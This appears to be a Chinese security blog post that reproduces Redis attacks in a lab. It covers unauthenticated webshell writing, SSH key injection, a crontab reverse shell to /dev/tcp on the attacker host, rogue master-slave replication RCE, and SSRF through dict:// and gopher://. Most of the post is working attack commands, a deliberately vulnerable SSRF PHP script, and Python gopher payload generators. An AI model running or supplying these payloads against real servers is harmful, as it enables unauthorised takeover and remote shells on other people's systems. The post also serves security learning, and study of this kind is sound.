Drunkmars's Blog

redis漏洞总结

字数统计: 3.7k阅读时长: 15 min
2021/07/20 175

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

本文将对一些常见的redis漏洞进行漏洞分析和复现。

搭建环境

因为在redis 3.2版本后存在安全配置项,这里为了方便直接使用redis 2.8.17版本进行漏洞搭建,将tar.gz从git克隆到本地之后使用make进行编译

1
2
3
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
cd redis-2.8.17
make

image-20210720205211085

编译过程如下

image-20210720205300518

编译好之后进入src目录,将redis-serverredis-cli 这两个文件拷贝到/usr/bin目录下,这样在启动的时候就不用每次到redis目录下

1
2
3
cp redis-server /usr/bin

cp redis-cli /usr/bin

image-20210720205409510

redis.conf拷贝到/etc目录下

1
cp redis.conf /etc/

image-20210720205439749

启动redis服务,可以看到这里环境已经启动成功

1
redis-server /etc/redis.conf

image-20210720205537299

redis基本操作

连接数据库,这里在最开始的时候是默认没有密码的,这也是后面产生未授权访问漏洞的原因

1
redis-cli -h 192.168.1.10

image-20210720210614208

设置密码,这里我设置的是qwe123

1
config set requirepass qwe123

image-20210720211326889

设置密码后对比下,发现在设置密码之后直接进入已经被阻止

image-20210720211419115

也可以连接后使用命令输入密码

1
auth qwe123

image-20210720211506702

这里为了方便操作直接将靶机拍摄快照之后关机并克隆,得到靶机ip为192.168.1.10,攻击机ip为192.168.1.7

image-20210720212106578

image-20210720212116987

漏洞原理及复现

未授权访问写shell

漏洞原理

这里之前已经提到过,在安装好redis服务之后是默认不设置密码的,在3.2版本之后自带了安全模式在一定程度上减轻了未设置密码的影响

漏洞复现

首先启动靶机的apache服务

1
/etc/init.d/apache2 start

image-20210720212238779

直接使用命令连接,因为这里没有设置密码,可以直接连接过去。这里写入一句话木马,这里为了防止乱码加上\n换行符,使用save命令保存

1
2
3
4
5
redis-cli -h 192.168.1.10
set shell "\n<?php @eval($_POST['test']);?>\n"
config set dir /var/www/html/
config set dbfilename shell.php
save

image-20210720212331778

然后蚁剑直接连接即可得到shell

image-20210720212654791

写入密钥ssh登录

漏洞原理

原理跟之前的未授权访问有一点不同,这里需要知道靶机的用户名且能够具有写的权限,因为我们需要写入一个rsa密钥来达到控制效果,还有一点就是需要开启ssh服务,这种方法相比于未授权访问更安全也更持久

漏洞复现

首先启动靶机的ssh服务

1
/etc/init.d/ssh start

image-20210720212745580

在攻击机上生成一个rsa密钥

1
ssh-keygen -t rsa

image-20210720213340381

然后使用命令给rsa加上换行符,防止乱码的情况出现

1
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

image-20210720215136948

首先命令行连接到靶机的redis并将rsa密钥写入内存

1
2
3
4
5
cat key.txt | redis-cli -h 192.168.1.10 -a qwe123 -x set pubkey

//-x 从标准输入读取数据作为该命令的最后一个参数,将key.txt内容作为变量pubkey的值

relis-cli -h 192.168.1.10 -a qwe123

image-20210720215252250

保存到/root/.ssh目录下的authorized_keys中

1
2
3
config set dir /root/.ssh
config set dbfilename authorized_keys
save

image-20210720215403472

查看一下这里已经保存成功了

image-20210720215449834

这里直接用ssh连接过去即可

1
ssh -i id_rsa root@192.168.1.10

crontab反弹shell

漏洞原理

crontab 是 linux 中的计划任务工具,类似于 windows 中的计划任务,有趣的一点是,当crontab 所需要的执行文件不存在的时候,crontab 不会自动删除执行任务,而等到执行文件再次出现的时候,crontab 又会继续执行,而且不会对文件的内容进行比较。linux 根目录下有个 tmp 目录,这个目录用于存放临时文件,每次关机都会将这个目录清空,如果用户把 crontab 的执行文件放到这个目录下,就会造成执行文件被删除的效果,那么这个时候,可以利用另一个低权限用户制造一个执行文件,执行文件的内容是连接攻击机,然后再将执行文件放入 tmp 目录,触发 crontab 的执行条件后,crontab 就会自动以高权限执行执行文件,然后,在攻击机的指定端口就能得到高权限用户的 shell

首先nc开启一个端口进行监听

image-20210721101311658

然后连接靶机写入反弹命令

1
2
redis-cli -h 192.168.1.10
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.7/4444 0>&1\n\n"

image-20210721101330691

写入计划任务定时执行则可收到反弹shell

1
2
3
config set dir /var/spool/cron
config set dbfilename root
save

image-20210721101424833

远程主从复制RCE

redis主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点 . 这是一种以空间置换时间的分布式的工作方案, 可以减轻主机缓存压力,避免单点故障

通过数据复制,Redis 的一个 master 可以挂载多个 slave,而 slave 下还可以挂载多个 slave,形成多层嵌套结构。所有写操作都在 master 实例中进行,master 执行完毕后,将写指令分发给挂在自己下面的 slave 节点。slave 节点下如果有嵌套的 slave,会将收到的写指令进一步分发给挂在自己下面的 slave

开启主从复制三种方式:

1
2
3
4
配置文件: 在从服务器的配置文件中加入:slaveof <masterip> <masterport>
启动命令: redis-server启动命令后加入 --slaveof <masterip> <masterport>
客户端命令: Redis服务器启动后,直接通过客户端执行命令:slaveof <masterip>
<masterport>,则该Redis实例成为从节点。

工作流程:

用通俗的语言来总结主从复制的话,就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

漏洞原理

我们知道master和slave肯定是要进行数据传输的,那么这里在master和slave握手的过程中的协议如下

img

这里图看起来有点繁琐,我们只需要关注漏洞出现的地方,利用全量复制将master上的RDB文件同步到slave上,这一步就是将我们的恶意so文件同步到slave上,从而加载恶意so文件达到rce的目的

redis有两种从slave将文件复制到master的方法,一是增量复制,二是全量复制。其实从字面意思上理解都可以看出增量只是复制一部分,而全量是把所有都复制,所以这里使用必须使用全量复制。

全量复制

当slave向master发送PSYNC命令之后,一般会得到三种回复:

+FULLRESYNC:进行全量复制

+CONTINUE:进行增量同步

-ERR:当前master还不支持PSYNC

slave向master发送PSYNC请求,并携带master的runid和offest,如果是第一次连接的话slave不知道master的runid,所以会返回runid为?,offest为-1。然后master验证slave发来的runid是否和自身runid一致,如不一致,则进行全量复制,slave并对master发来的runid和offest进行保存。master把自己的runid和offset发给slave,再进行bgsave,生成RDB文件,将生成的RDB文件传输给slave,并将缓冲区内的数据传输给slave,然后slave加载RDB文件和缓冲区数据。

增量复制

这里就跟全量复制有一点不相同,当master验证slave发来的runid是否和自身runid一致的时候,如果一致,就会只进行数据同步而不会传输RDB文件,那么我们生成的.so文件就没有办法传输到master上

这里注意还有一个点需要注意,如果redis服务器设置了只允许本地登陆时,就不能够使用远程主从复制的方法

漏洞复现

这里使用到主从复制的py,https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

i为交互shell,r为反弹shell,反弹shell用nc监听端口即可

1
python3 redis-rogue-server.py --rhost 192.168.1.10 --rport 6379 --lhost 192.168.1.7 --lport 6381

image-20210720221509439

SSRF&redis

SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。在这里ssrf配合redis使用会有意想不到的效果

这里首先需要了解的是redis的RESP协议

基于TCP的应用层协议 RESP(REdis Serialization Protocol);RESP底层采用的是TCP的连接方式,通过tcp进行数据传输,然后根据解析规则解析相应信息,Redis 的客户端和服务端之间采取了一种独立名为 RESP(REdis Serialization Protocol) 的协议,作者主要考虑了以下几个点:

  • 容易实现
  • 解析快
  • 人类可读

RESP可以序列化不同的数据类型,如整数,字符串,数组。还有一种特定的错误类型。请求从客户端发送到Redis服务器,作为表示要执行的命令的参数的字符串数组。Redis使用特定于命令的数据类型进行回复

RESP是二进制安全的,不需要处理从一个进程传输到另一个进程的批量数据,因为它使用前缀长度来传输批量数据。

RESP 虽然是为 Redis 设计的,但是同样也可以用于其他 C/S 的软件。Redis Cluster使用不同的二进制协议(gossip),以便在节点之间交换消息

RESP在Redis中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
  2. 服务器根据命令实现回复一种RESP类型。

在RESP中,某些数据的类型取决于第一个字节:

对于Simple Strings,回复的第一个字节是+

对于error,回复的第一个字节是-

对于Integer,回复的第一个字节是:

对于Bulk Strings,回复的第一个字节是$

对于array,回复的第一个字节是*

还有两个个了解的协议是Gopher 协议和Dict协议

Dict协议dict是基于查询响应的TCP协议,在实际过程中和gopher协议效果相似但是会有一些区别

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
Gopher 协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面

gopher协议的格式:

1
gopher://127.0.0.1:70/_ + TCP/IP数据

gopher的默认端口为70,如果没有指定端口,比如gopher://127.0.0.1/_test默认是发送给70端口的

这里的_是一种数据连接格式,不一定是_,其他任意字符都行,例如这里以1作为连接字符:

1
root@kali:~# curl gopher://127.0.0.1/1test

gopher协议的实现:

gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。

这里主要总结一下ssrf + redis反弹shell的操作

ssrf + redis的漏洞环境不太好找,这里准备了一个ssrf的漏洞代码

1
2
3
4
5
6
7
8
9
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

使用dict协议反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#查看当前redis的相关配置
ssrf.php?url=dict://192.168.1.10:6379/info

#设置备份文件名
ssrf.php?url=dict://192.168.1.10:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://192.168.1.10:6379/slaveof:192.168.172.129:1234

#加载恶意模块
ssrf.php?url=dict://192.168.1.10:6379/module:load:./exp.so

#切断主从复制
ssrf.php?url=dict://192.168.1.10:6379/slaveof:no:one

#执行系统命令
ssrf.php?url=dict://192.168.1.10:6379/system.rev:192.168.172.129:9999

这里使用gopher协议反弹shell的话使用前辈们写的py反弹即可

python2环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python2
# -*-coding:utf-8-*-

import urllib
protocol="gopher://" # 使用的协议
ip="192.168.189.208"
port="6379" # 目标redis的端口号
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php" # shell的名字
path="/var" # 写入的路径
passwd="" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

python3环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
# -*-coding:utf-8-*-

from urllib.parse import quote
protocol="gopher://" # 使用的协议
ip="192.168.189.208"
port="6379" # 目标redis的端口号
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php" # shell的名字
path="/var" # 写入的路径
passwd="" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += quote(redis_format(x))
print(payload)
CATALOG
  1. 1. 搭建环境
  2. 2. redis基本操作
  3. 3. 漏洞原理及复现
  4. 4. SSRF&redis